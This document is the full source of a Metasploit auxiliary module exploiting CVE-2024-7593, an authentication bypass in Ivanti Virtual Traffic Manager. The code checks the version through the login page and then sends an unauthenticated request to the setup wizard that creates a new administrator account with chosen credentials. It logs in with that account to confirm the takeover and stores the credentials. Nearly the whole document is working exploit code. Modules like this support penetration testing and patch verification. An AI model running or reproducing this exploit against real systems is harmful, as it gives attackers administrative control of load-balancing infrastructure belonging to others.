Ivanti Virtual Traffic Manager Authentication Bypass

`class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)',  
'Description' => %q{  
This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new  
administrative user to the web interface of the application.  
  
Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.  
},  
'Author' => [  
'Michael Heinzl', # MSF Module  
'ohnoisploited', # PoC  
'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user  
],  
'References' => [  
['PACKETSTORM', '179906'],  
['CVE', '2024-7593'],  
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US']  
],  
'DisclosureDate' => '2024-08-05',  
'DefaultOptions' => {  
'RPORT' => 9090,  
'SSL' => 'True'  
},  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),  
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),  
])  
end  
  
def check  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi')  
}  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
  
body = res.body  
version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/  
match = body.match(version_regex)  
if match  
version = match[1]  
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1')  
else  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Safe  
end  
  
def run  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers'),  
'vars_post' => {  
'_form_submitted' => 'form',  
'create_user' => 'Create',  
'group' => 'admin',  
'newusername' => datastore['NEW_USERNAME'],  
'password1' => datastore['NEW_PASSWORD'],  
'password2' => datastore['NEW_PASSWORD']  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
html = res.get_html_document  
title_tag = html.at_css('title')  
  
fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag  
title_text = title_tag.text.strip  
if title_text == '2'  
print_status('Request to add new admin user sent, verifying...')  
  
form = Rex::MIME::Message.new  
form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')  
form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')  
form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')  
form.add_part('Login', nil, nil, 'form-data; name="form_submit"')  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'data' => form.to_s  
}  
)  
if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')  
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)  
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")  
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}")  
end  
  
elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')  
fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")  
elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')  
fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")  
else  
fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)  
end  
end  
end  
`